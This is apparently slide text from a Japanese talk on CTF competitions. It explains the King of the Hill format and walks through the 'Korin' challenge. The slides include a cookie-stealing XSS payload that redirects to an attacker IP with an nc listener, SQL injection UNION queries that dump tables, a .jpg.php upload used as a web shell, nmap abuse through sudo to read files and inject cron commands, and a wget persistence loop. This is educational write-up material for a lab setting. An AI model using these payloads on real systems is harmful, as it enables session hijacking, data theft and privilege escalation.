More Related Content
More from Hiromu Yakura(19)
CTFはとんでもないものを 盗んでいきました。私の時間です…
- 20. King of the Hill
Attack-Defenseの派生形式
問題サーバーを巡って攻防する
- 21. King of the Hill
FLAG
FLAG
問題サーバー
問題サーバー
FLAG
チームA
FLAG
問題サーバー
FLAG
チームB
解答サーバー
- 22. King of the Hill
FLAG
FLAG
問題サーバー
問題サーバー
FLAG
問題サーバー
問題サーバーの脆弱性を
使ってFLAGを盗み出す
FLAG
チームA
FLAG
チームB
解答サーバー
- 23. King of the Hill
FLAG
問題サーバー
問題サーバー
盗みとったFLAGを
FLAG
問題サーバー
解答サーバーに送ると得点
FLAG
FLAG
チームA
FLAG
チームB
解答サーバー
- 24. King of the Hill
FLAG
FLAG
問題サーバー
問題サーバー
FLAG
問題サーバー
その脆弱性を使って
自チームのFLAGを書き込むと
さらに得点に
FLAG
チームA
チームB
解答サーバー
- 25. King of the Hill
FLAG
FLAG
FLAG
相手がFLAGを書き込むのを
問題サーバー
問題サーバー
問題サーバー
阻止するのも重要
FLAG
チームA
チームB
解答サーバー
- 26. King of the Hill
問題サーバーを攻撃してFLAGを盗む
その脆弱性を利用して自チームの
FLAGを書き込む
長時間書き込み続けるほど高得点に
- 126. 仕組み
●
使えた命令 (0xYYはisalnum(0xYY) == true)
–
–
–
–
–
–
–
–
push 0xYYYYYYYY
push (register)
pop eax, ecx, edx(他のレジスタはダメ)
xor eax, 0xYYYYYYYY(他のレジスタはダメ)
xor [register], dh
xor [register], esi
inc (register)
dec(register)
- 131. 仕組み
●
eax, ecx, edxにはある程度任意の値を入れられる
–
–
●
push 0xYYYYYYYY; pop eax, ecx, edxを使う
基本的にはこの3つだけでどうにかするしかない
alnumとならない値0xZZを使うには
–
xor eax, 0xYYYYYYYYを2回行う
●
–
0 ~ 127はこれによって作ることが出来る
xor [register], dhを使う(dec edxで0xffffffffを作る)
●
●
push eax; push esp; pop eax; xor [eax], dh; pop eax
0 ~ 127と0xffのxorは128 ~ 255となる
- 148. Korin - 第1問
● さらに、管理者専用のページが用意されている
● アクセスすると「You are not admin!!」と怒られる...
- 149. Korin - 第1問
● さらに、管理者専用のページが用意されている
● アクセスすると「You are not admin!!」と怒られる...
● なんとかして管理者にならなければ・・・
- 151. Korin - 第1問
● 送信するメールを工夫してみる
● 管理者がメールを見る際にJavaScriptが動けば管理者の
Cookieを取得できると推測
○ いわゆるXSS
- 152. Korin - 第1問
● 送信元のメールアドレスを以下のように変えてみる
● “><script>location.href=”http://192.168.5.8/”+document.
cookie</script>@gmail.com
- 153. Korin - 第1問
● 送信元のメールアドレスを以下のように変えてみる
● “><script>location.href=”http://192.168.5.8/”+document.
cookie</script>@gmail.com
● 「http://192.168.5.8/[ユーザーのcookie]」にリダイレクトす
るJavaScript
○ 自分のPCに192.168.5.8のアドレスが割り振られている
ため、自分のPCにアクセスが来る
- 156. Korin - 第1問
● 192.168.5.8で管理者アクセスを監視
● nc -l -p 80
○ GET /CGISESSID=XXXXXXX... HTTP/1.1
○ 管理者のCookieが取得できた!
- 157. Korin - 第1問
● 192.168.5.8で管理者アクセスを監視
● nc -l -p 80
○ GET /CGISESSID=XXXXXXX... HTTP/1.1
○ 管理者のCookieが取得できた!
● 取得したCookieを利用して、管理者専用ページにアクセス
- 160. Korin - 第2問
● メッセージのURLは
● http://korin.tower/?action=view&id=111111111111111
● のようになっている
- 163. Korin - 第2問
● 勘でidを「’ or ‘1」にしてみる
○ メッセージが表示される
○ SQL Injectionだとわかりますね
- 166. Korin - 第2問
● DBMSは何?
● MySQL?
○ ‘ or union select @@version,1,1 -○ →Error
- 167. Korin - 第2問
● DBMSは何?
● MySQL?
○ ‘ or union select @@version,1,1 -○ →Error
● Postgres SQL?
○ ‘ or union select version(),1,1 -○ →Error
- 168. Korin - 第2問
● DBMSは何?
● MySQL?
○ ‘ or union select @@version,1,1 -○ →Error
● Postgres SQL?
○ ‘ or union select version(),1,1 -○ →Error
● SQLite?
○ ‘ or union select sqlite_version(),1,1 -○ →ビンゴ!
- 169. Korin - 第2問
● SQLiteではsqlite_masterテーブルでテーブル作成時の
SQLが参照できる
○ ‘ or union all select group_concat(sql),1,1 from
sqlite_master --
- 170. Korin - 第2問
● SQLiteではsqlite_masterテーブルでテーブル作成時の
SQLが参照できる
○ ‘ or union all select group_concat(sql),1,1 from
sqlite_master -CREATE TABLE contact (id, name, mail, honbun),
CREATE TABLE nextLVpassword (str),
CREATE TABLE zdummy (dummy)
- 171. Korin - 第2問
● ‘ or union all select str,1,1 from nextLVpassword --
- 172. Korin - 第2問
● ‘ or union all select str,1,1 from nextLVpassword -○ パスワードが手に入る!
○ パスワード入力欄に入力して次の問題へ
kinoko!!
- 175. Korin - 第3問
● 試しにtest.phpをアップロードしてみる
○ 「filename does not contain .jpg」
○ jpgファイルしかアップロードできない?
- 176. Korin - 第3問
● 試しにtest.phpをアップロードしてみる
○ 「filename does not contain .jpg」
○ jpgファイルしかアップロードできない?
○ ファイル名にjpgが含まれていればいい
- 177. Korin - 第3問
● 試しにtest.phpをアップロードしてみる
○ 「filename does not contain .jpg」
○ jpgファイルしかアップロードできない?
○ ファイル名にjpgが含まれていればいい
○ test.jpg.phpというファイル名でアップロード
- 178. Korin - 第3問
● 試しにtest.phpをアップロードしてみる
○ 「filename does not contain .jpg」
○ jpgファイルしかアップロードできない?
○ ファイル名にjpgが含まれていればいい
○ test.jpg.phpというファイル名でアップロード
○ http://korin.tower/uploaded/test.jpg.php で実行可能
- 180. Korin - 第3問
● サーバーに侵入後、調べていくと/home/stage4 以下に
「MyPasswordIs”stage4PassWD”」が見つかる
● これで3問目を突破!
- 181. Korin - 第4問
● 先ほど作ったphpファイルを通じて/etc/passwdを見ると、
stage4ユーザーがlogin可能であることがわかる
- 182. Korin - 第4問
● 先ほど作ったphpファイルを通じて/etc/passwdを見ると、
stage4ユーザーがlogin可能であることがわかる
● stage4:stage4PassWDでsshログインしてみる
- 183. Korin - 第4問
● 先ほど作ったphpファイルを通じて/etc/passwdを見ると、
stage4ユーザーがlogin可能であることがわかる
● stage4:stage4PassWDでsshログインしてみる
○ 入れた!
- 185. Korin - 第4問
● /homeディレクトリ以下にはstage3~6のユーザーディレクト
リが存在している
● stage4でログインしているから次はstage5?
- 186. Korin - 第4問
● /homeディレクトリ以下にはstage3~6のユーザーディレクト
リが存在している
● stage4でログインしているから次はstage5?
● ls -al /stage5
- 187. Korin - 第4問
● /homeディレクトリ以下にはstage3~6のユーザーディレクト
リが存在している
● stage4でログインしているから次はstage5?
● ls -al /stage5
○ -r-------- stage5 root FLAG
○ -r-x--x--x stage5 root nmap
- 188. Korin - 第4問
● /homeディレクトリ以下にはstage3~6のユーザーディレクト
リが存在している
● stage4でログインしているから次はstage5?
● ls -al /stage5
○ -r-------- stage5 root FLAG
○ -r-x--x--x stage5 root nmap
○ nmapを実行してFLAGを読み取る?
- 189. Korin - 第4問
● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG
- 190. Korin - 第4問
● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG
○ FLAGをnmapする対象のアドレスが書かれたリストとし
て読み込ませる
- 191. Korin - 第4問
● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG
○ FLAGをnmapする対象のアドレスが書かれたリストとし
て読み込ませる
○ nmapはFLAGの内容をアドレスと認識してアクセスする
が、失敗してエラーが吐かれる
- 192. Korin - 第4問
● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG
○ FLAGをnmapする対象のアドレスが書かれたリストとし
て読み込ませる
○ nmapはFLAGの内容をアドレスと認識してアクセスする
が、失敗してエラーが吐かれる
○ エラーの内容にFLAGの内容が出力されている!
- 193. Korin - 第4問
● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG
○ FLAGをnmapする対象のアドレスが書かれたリストとし
て読み込ませる
○ nmapはFLAGの内容をアドレスと認識してアクセスする
が、失敗してエラーが吐かれる
○ エラーの内容にFLAGの内容が出力されている!
○ 第4問目クリア!
- 194. Korin - FLAG
● http://korin.tower/~stage6/ にチームのFLAGを定期的に
書き込みつづけることで、点数が得られる
- 195. Korin - FLAG
● http://korin.tower/~stage6/ にチームのFLAGを定期的に
書き込みつづけることで、点数が得られる
● /home/stage6/public_html/index.html というファイルが存
在していることから、このファイルに書き込めばよいとわかる
- 196. Korin - FLAG
● http://korin.tower/~stage6/ にチームのFLAGを定期的に
書き込みつづけることで、点数が得られる
● /home/stage6/public_html/index.html というファイルが存
在していることから、このファイルに書き込めばよいとわかる
○ -rw-r--r-- stage6 apache index.html
○ stage6ユーザーでないと書き込めない
- 197. Korin - FLAG
● 色々探した結果、/etc/crontab に怪しい記述が...
○ * * * * * stage6 /var/tmp/5to6
■ 1分ごとにstage6の権限で/var/tmp/5to6を実行して
いる
- 198. Korin - FLAG
● 色々探した結果、/etc/crontab に怪しい記述が...
○ * * * * * stage6 /var/tmp/5to6
■ 1分ごとにstage6の権限で/var/tmp/5to6を実行して
いる
● /var/5to6 はstage6ユーザーで実行されているのでは?
○ -rw-r-xr-- stage5 apache 5to6
■ stage5ユーザーでなら書き込める!!
- 199. Korin - FLAG
● 再びnmapを利用して書き込んでみる
○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 test
- 200. Korin - FLAG
● 再びnmapを利用して書き込んでみる
○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 test
● /var/tmp/5to6
# Nmap 6.25 scan initiated Sat Mar 1 17:54:51 2014 as: nmap -oN hoge -p 1 test
# Nmap done at Sat Mar 1 17:54:57 2014 -- 1 IP address (0 hosts up) scanned in 6.08 seconds
- 201. Korin - FLAG
● 再びnmapを利用して書き込んでみる
○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 test
● /var/tmp/5to6
# Nmap 6.25 scan initiated Sat Mar 1 17:54:51 2014 as: nmap -oN hoge -p 1 test
# Nmap done at Sat Mar 1 17:54:57 2014 -- 1 IP address (0 hosts up) scanned in 6.08 seconds
test に改行を入れればシェルコマンドが書き込めそう?
- 202. Korin - FLAG
● 実行させたいコマンドを書いてみる
○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 “
echo ‘hoge’ >> /home/stage6/public_html/index.html”
- 203. Korin - FLAG
● 実行させたいコマンドを書いてみる
○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 “
echo ‘hoge’ >> /home/stage6/public_html/index.html”
# Nmap 6.25 scan initiated Sat Mar 1 17:54:51 2014 as: nmap -oN hoge -p 1
echo ’hoge’ >> /home/stage6/public_html/index.html
# Nmap done at Sat Mar 1 17:54:57 2014 -- 1 IP address (0 hosts up) scanned in
6.08 seconds
- 206. Korin - FLAG
● 自分達の他に /var/tmp/5to6 にコマンドを書き込むユーザー
が・・・
○ どうやら他のチームに追いつかれたらしい
- 207. Korin - FLAG
● 自分達の他に /var/tmp/5to6 にコマンドを書き込むユーザー
が・・・
○ どうやら他のチームに追いつかれたらしい
● せっかく /var/tmp/5to6 にコマンドを書き込んでも、他のチーム
に上書きされてしまい、FLAGを書き込めない
- 208. Korin - FLAG
● 自分達の他に /var/tmp/5to6 にコマンドを書き込むユーザー
が・・・
○ どうやら他のチームに追いつかれたらしい
● せっかく /var/tmp/5to6 にコマンドを書き込んでも、他のチーム
に上書きされてしまい、FLAGを書き込めない
● しかも複数のチームがFLAGを書き込んでいる場合、その得点
は山分けとなる
○ 最大20点なので、2チームが書き込むと各チーム10点、3
チームが書き込むと7点・・・
- 209. Korin - FLAG
● 課題1:
○ 他のチームにFLAGを書き込ませてはいけない
● 課題2:
○ 自チームのFLAGを書き込み続けないといけない
- 210. Korin - FLAG
● 課題1:
○ 他のチームにFLAGを書き込ませてはいけない
● 課題2:
○ 自チームのFLAGを書き込み続けないといけない
- 213. Korin - FLAG
● なんとしても他のチームにFLAGを書き込ませてはいけない!
● どうする?
○ /var/tmp/5to6 に書き込み続ける
- 214. Korin - FLAG
● なんとしても他のチームにFLAGを書き込ませてはいけない!
● どうする?
○ /var/tmp/5to6 に書き込み続ける
■ 他のチームも同様のことをしてくる
■ 同時に書き込むとロックして相討ち
- 215. Korin - FLAG
● なんとしても他のチームにFLAGを書き込ませてはいけない!
● どうする?
○ /var/tmp/5to6 に書き込み続ける
■ 他のチームも同様のことをしてくる
■ 同時に書き込むとロックして相討ち
○ 他のチームのssh接続をkillする
- 216. Korin - FLAG
● なんとしても他のチームにFLAGを書き込ませてはいけない!
● どうする?
○ /var/tmp/5to6 に書き込み続ける
■ 他のチームも同様のことをしてくる
■ 同時に書き込むとロックして相討ち
○ 他のチームのssh接続をkillする
■ これだ!
- 217. Korin - FLAG
● なんとしても他のチームにFLAGを書き込ませてはいけない!
● どうする?
○ /var/tmp/5to6 に書き込み続ける
■ 他のチームも同様のことをしてくる
■ 同時に書き込むとロックして相討ち
○ 他のチームのssh接続をkillする
■ これだ!
- 218. Korin - FLAG
● 課題1:
○ 他のチームにFLAGを書き込ませてはいけない
● 課題2:
○ 自チームのFLAGを書き込み続けないといけない
- 220. Korin - FLAG
● 自分達のFLAGを書き込み続けないといけない
○ 5分に1回変動するFLAGを書き込まないといけないので自
動化したい
- 221. Korin - FLAG
● 自分達のFLAGを書き込み続けないといけない
○ 5分に1回変動するFLAGを書き込まないといけないので自
動化したい
○ 他のチームからssh接続切断されるようになると、
/var/tmp/5to6 に書き込めなくなる
■ 実際に切断された
- 222. Korin - FLAG
● 自分達のFLAGを書き込み続けないといけない
○ 5分に1回変動するFLAGを書き込まないといけないので自
動化したい
○ 他のチームからssh接続切断されるようになると、
/var/tmp/5to6 に書き込めなくなる
■ 実際に切断された
● whileループで動かせば?
- 223. Korin - FLAG
● 60秒に1回、自チームのアドレスにhttpアクセスして、FLAGを
書くようにした
● 以下のコードをcronから動かす
while [ : ]; do
wget -q -O - "http://192.168.5.8/" >> /home/stage6/public_html/index.html;
sleep 60;
done
- 225. Korin - FLAG
● 課題1:
○ 他のチームにFLAGを書き込ませてはいけない
● 課題2:
○ 自チームのFLAGを書き込み続けないといけない
どちらもクリアすることで、FLAGポイントを独占することができ
た!
- 226. Korin - まとめ
● 問題1~3は典型的な脆弱性を利用したものでした
○ XSS, SQL Injection, File upload
- 227. Korin - まとめ
● 問題1~3は典型的な脆弱性を利用したもの
○ XSS, SQL Injection, File upload
● FLAGは、時間が限られている中でどのようにして他のチー
ムを妨害するかということが重要だった
○ あと自動化も大事!